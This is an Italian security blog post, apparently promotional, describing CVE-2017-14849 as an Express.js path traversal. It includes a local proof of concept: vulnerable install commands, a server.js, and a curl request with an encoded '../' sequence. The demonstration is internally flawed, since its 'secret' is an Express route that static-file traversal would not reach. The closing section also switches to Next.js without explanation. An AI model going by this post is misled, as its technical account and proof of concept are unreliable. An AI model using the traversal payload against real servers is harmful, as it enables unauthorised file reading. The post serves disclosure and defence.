Loading...

Express.js Path Traversal: CVE-2017-14849

Durante il 2017 è stata scoperta una grave vulnerabilità in Express.js che consente attacchi di path traversal e potenzialmente l'accesso non autorizzato a file sensibili. Questa vulnerabilità, identificata come CVE-2017-14849, ha messo a rischio numerose applicazioni web basate su Express.js.

Dettagli Tecnici

  • Vulnerabile: Express.js versioni 4.x prima di 4.15.5
  • Tipo: Path Traversal
  • Impatto: Alto
  • Autenticazione: Non richiesta
  • CVSS Score: 7.5

Descrizione

La vulnerabilità riguarda il middleware express.static, componente di Express.js utilizzato per servire file statici come HTML, CSS, JavaScript e immagini. Il problema risiede nella gestione dei percorsi decodificati che contengono caratteri speciali.

In particolare, quando una richiesta contiene sequenze URL-encoded come %2e%2e%2f (che decodificate equivalgono a ../), il middleware non le normalizza correttamente prima di utilizzarle per accedere al file system. Questo permette a un attaccante di "risalire" nella struttura delle directory e accedere a file al di fuori della directory che dovrebbe essere accessibile.

L'impatto di questa vulnerabilità è significativo, in quanto permette a un attaccante non autenticato di:

  • Leggere file arbitrari sul server (inclusi file di configurazione con credenziali)
  • Accedere a informazioni sensibili al di fuori della directory pubblica
  • Potenzialmente eseguire un'escalation di privilegi, a seconda dei file accessibili

Proof of Concept (PoC)

Per testare la vulnerabilità, possiamo creare un server Express.js locale vulnerabile:

// Installazione di Express.js vulnerabile
npm init -y
npm install express@4.15.4

// Creazione del server vulnerabile
nano server.js

Nel file server.js, aggiungiamo:

const express = require('express');
const path = require('path');
const app = express();

// Directory pubblica che contiene file accessibili
app.use('/public', express.static(path.join(__dirname, 'public')));

// File "segreto" che non dovrebbe essere accessibile
// (immaginiamo sia al di fuori della directory pubblica)
app.get('/secret', (req, res) => {
  res.send('Questo è un file segreto con informazioni sensibili');
});

app.listen(3000, () => {
  console.log('Server avviato su http://localhost:3000');
});

Creiamo la directory pubblica e un file di test:

mkdir public
echo "Questo è un file pubblico" > public/test.txt

Avviamo il server:

node server.js

Ora possiamo sfruttare la vulnerabilità per accedere al "file segreto" che si trova al di fuori della directory pubblica:

curl -v "http://localhost:3000/public/%2e%2e/secret"

Se il server è vulnerabile, questa richiesta restituirà il contenuto del file segreto, dimostrando che è possibile "uscire" dalla directory pubblica e accedere a file che non dovrebbero essere accessibili.

Rimedi e Mitigazioni

  • Aggiornare Express.js alla versione 4.15.5 o successive
  • Utilizzare meccanismi di controllo degli accessi più rigorosi
  • Implementare una blacklist dei caratteri speciali nelle URL
  • Configurare correttamente i percorsi delle directory per limitare l'accesso ai file
  • Utilizzare middleware di sicurezza aggiuntivi come helmet

Conclusioni

Questa vulnerabilità sottolinea l'importanza di verificare e testare le configurazioni di sicurezza nelle applicazioni Next.js. Ti consigliamo di effettuare una revisione della sicurezza del tuo codice e di applicare aggiornamenti tempestivi.

Hai bisogno di aiuto per proteggere la tua applicazione? Contattaci per un audit completo di sicurezza.